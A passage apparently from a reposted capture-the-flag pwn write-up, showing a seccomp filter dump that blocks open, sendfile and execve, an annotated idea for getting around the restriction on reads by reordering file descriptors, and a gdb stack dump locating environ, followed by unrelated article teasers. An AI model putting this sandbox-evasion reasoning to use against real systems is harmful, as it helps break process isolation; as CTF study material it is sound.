 0004: 0x15 0x00 0x0b 0xffffffff  if (A != 0xffffffff) goto 0016
 0005: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0008                       openat
 0006: 0x15 0x01 0x00 0x00000028  if (A == sendfile) goto 0008
 0007: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0009
 0008: 0x06 0x00 0x00 0x0005000d  return ERRNO(13)
 0009: 0x15 0x00 0x05 0x00000000  if (A != read) goto 0015                      close(2);open();read(2,);write()
 0010: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # read(fd, buf, count)
 0011: 0x25 0x04 0x00 0x00000000  if (A > 0x0) goto 0016
 0012: 0x15 0x00 0x02 0x00000000  if (A != 0x0) goto 0015
 0013: 0x20 0x00 0x00 0x00000010  A = fd # read(fd, buf, count)
 0014: 0x25 0x01 0x00 0x00000002  if (A > 0x2) goto 0016
 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0016: 0x06 0x00 0x00 0x00000000  return KILL

0x00007fffffffdf88│+0x0128: 0x00007fffffffe2c6  →  0x4300316e77702f2e ("./pwn1"?)
0x00007fffffffdf90│+0x0130: 0x0000000000000000
0x00007fffffffdf98│+0x0138: 0x00007fffffffe2cd  →  "COLORFGBG=15;0"                 <------ environ[0] = 0x00007fffffffdf98
0x00007fffffffdfa0│+0x0140: 0x00007fffffffe2dc  →  "COLORTERM=truecolor"
0x00007fffffffdfa8│+0x0148: 0x00007fffffffe2f0  →  "COMMAND_NOT_FOUND_INSTALL_PROMPT=1"

'''

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1679354.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

TortoiseGit的安装

TortoiseSvn和TortoiseGit都是针对代码进行版本管理的工具&#xff0c;又俗称小乌龟&#xff0c;简洁而可视化的操作界面&#xff0c;免去繁琐的命令行输入。只需要记住常用的几个操作步骤就能快速上手。 TortoiseGit安装 1、TortoiseGit作为git的版本管理工具 &#xff0c;但…

小程序蓝牙连接ESP32通信(可直接拿来用)

小程序中的蓝牙能力 在小程序中&#xff0c;要使用蓝牙能力&#xff08;Beacon 除外&#xff09;必须首先调用 wx.openBluetoothAdapter 初始化蓝牙适配器模块&#xff0c;其生效周期为调用 wx.openBluetoothAdapter 至调用 wx.closeBluetoothAdapter 或小程序被销毁为止。只有…

红黑树底层封装map、set C++

目录 一、框架思考 三个问题 问题1的解决 问题2的解决&#xff1a; 问题3的解决&#xff1a; 二、泛型编程 1、仿函数的泛型编程 2、迭代器的泛型编程 3、typename&#xff1a; 4、/--重载 三、原码 红黑树 map set 一、框架思考 map和set都是使用红黑树底层&…

【STM32-MX_GPIO_Init分析】

MX_GPIO_Init分析源码如下&#xff1a; __HAL_RCC_GPIOE_CLK_ENABLE源码如下&#xff1a; #define RCC ((RCC_TypeDef *) RCC_BASE) #define RCC_BASE (AHB1PERIPH_BASE 0x3800UL) #define AHB1PERIPH_BASE (PERIPH_BASE 0x00020000U…

2024-简单点-ultralytics库解析-data模块

data模块 overview布局\_\_init__.pyfrom .base import BaseDataset\_\_all__ annotator.pyaugment.pyclass BaseTransformclass Composeclass BaseMixTransformclass Mosaic静态方法更新label class MixUpRandomPerspectiveclass RandomHSVclass RandomFlipclass LetterBoxcla…

搭载全新升级viaim AI,讯飞会议耳机Pro 2首销价1399元起

2024年5月15日&#xff0c;人工智能硬件公司未来智能发布了讯飞会议耳机Pro 2、iFLYBUDS 2以及Kit 2三款旗舰新品&#xff0c;为用户带来全新升级的viaim AI&#xff0c;也为AIGC智能耳机树立了新标杆。 在发布会上&#xff0c;未来智能CEO马啸表示&#xff1a;在AIGC领域&…

20232803 2023-2024-2 《网络攻防实践》实践九报告

目录 1.实践内容2.实践过程2.1 手工修改可执行文件&#xff0c;改变程序执行流程&#xff0c;直接跳转到getShell函数2.2 利用foo函数的Bof漏洞&#xff0c;构造一个攻击输入字符串&#xff0c;覆盖返回地址&#xff0c;触发getShell函数2.3 注入一个自己制作的shellcode并运行…

数论专题练习

质数专题 我的思路就是一个素数筛&#xff0c;然后双指针 class Solution { public:int maximumPrimeDifference(vector<int>& nums) {unordered_map<int, int> mp;for (int i 2; i < 100; i) {if (mp[i] 0) {for (int j 2 * i; j < 100; j i) {mp[…

将PDF转换成电子杂志,轻松打造畅销内容!

在数字化时代&#xff0c;将PDF转换成电子杂志是一种非常受欢迎的内容创作方式。这种方式不仅可以提高内容的传播效果&#xff0c;还可以为创作者带来更多的收益。那么&#xff0c;如何轻松地将PDF转换成电子杂志&#xff0c;打造畅销内容呢&#xff1f; 市面上有许多可以将PDF…

vivo X100s发布,搭载最新天玑9300+平台

在沉寂了半年后&#xff0c;vivo终于发布了新的旗舰产品。相较于前代的X100&#xff0c;X100s作为小迭代也有不少让人眼前一亮的地方&#xff0c;下面就让我们一同来了解下吧。 外观方面&#xff0c;虽然vivo X100s相较于X100没有大改&#xff0c;但却十分具有质感。以“青云”…

Android 逆向

一、apk 查壳工具 ApkScan-PKID 相关APK文件可以在 豌豆荚 官网下载 ApkScan-PKID查壳工具 下载 - 简书 (jianshu.com) 二、脱壳工具&#xff1a;frida 1、Android端配置 frida-server&#xff1a; 该步骤需要使用到 adb&#xff0c;操作Android文件 Releases frida/frid…

机器学习中10种损失函数大梳理!建议收藏,你一定用得到

今儿想和大家聊聊关于损失函数方面的问题。 损失函数&#xff08;Loss Function&#xff09;是在机器学习和深度学习中用来衡量模型预测值与真实标签之间差异的函数。不同的任务和模型可能需要不同的损失函数。 今天就聊聊下面常见的损失函数&#xff0c;关于原理、使用场景&…

高效调度新篇章:详解DolphinScheduler 3.2.0生产级集群搭建

转载自tuoluzhe8521 导读&#xff1a;通过简化复杂的任务依赖关系&#xff0c; DolphinScheduler为数据工程师提供了强大的工作流程管理和调度能力。在3.2.0版本中&#xff0c;DolphinScheduler带来了一系列新功能和改进&#xff0c;使其在生产环境中的稳定性和可用性得到了显著…

Apache2.4和PHP8的量子纠缠

Apache不建议你用&#xff0c;PHP建议使用

更新Windows 11 后遇到的一些问题(更新中...)

目录 插入U盘后读取不到 在磁盘中新建文件夹需要管理员权限 导致不能安装一些软件 插入U盘后读取不到 解决方法&#xff1a;点击我的电脑或者是此电脑、选择管理、找到设备管理器、选择通用串行总线控制器、右键、选择启动。 第一步&#xff1a;点击我的电脑或者是此电脑、选…

Java类和对象(二)—— 封装,static 关键字与代码块

前言 在面向对象的编程语言中&#xff0c;有三大特性&#xff1a;封装、继承和多态~~ 今天我们就来学习封装的知识 封装 什么是封装 在现实生活中&#xff0c;我们经常使用手机来进行沟通与交流&#xff0c;实际上我们拿到的手机是被封装好的&#xff0c;精美的屏幕&a…

MYSQL和JAVA中将中文汉字按照拼音首字母排序

一、MYSQL将中文汉字按照拼音首字母排序 数据库使用的字符编码是utf8_general_ci&#xff0c;如下 ORDER BY CONVERT(表名.字段名 USING gbk) COLLATE gbk_chinese_ci ASC;若是表查询&#xff0c;CONVERT中可以不添加表名。 查询结果如下&#xff1a; 二、JAVA中将中文汉字…

自定义 Gradle 插件进行统一的静态代码分析

静态代码分析是一项了不起的技术, 它能让代码库更易于维护. 但是, 如果你在不同的版本库中拥有多个服务(可能由不同的团队开发), 如何才能让每个人都遵循既定的代码风格呢? 一个好办法是将所有规则封装在一个插件中, 该插件会在每个项目构建时自动执行所需的验证. 因此, 在本…

【2024系统架构设计】回顾历史,查缺补漏篇 ③

前言 hello,大家好: 💡💡💡 我们一起来备考软考高级系统架构设计师吧,本专栏提供综合知识、案例科目、论文(论点和部分示例范文)等内容,包括知识点总结和记忆小妙招哦。 🚀🚀🚀 可以减少资料查找和收集的时间,提高效率,我们一起集中精力学习干货吧! 💡…

Milvus的存储/计算分离

前言 根据数据面与控制面相隔离的原则&#xff0c;从可扩展性和灾难恢复来看&#xff0c;Milvus由4个相互独立的层组成 访问层 由一系列无状态的代理组成&#xff0c;访问层是系统和用户之间的第一层&#xff0c;它主要是验证客户端请求和规整返回的结果 代理是无状态的&am…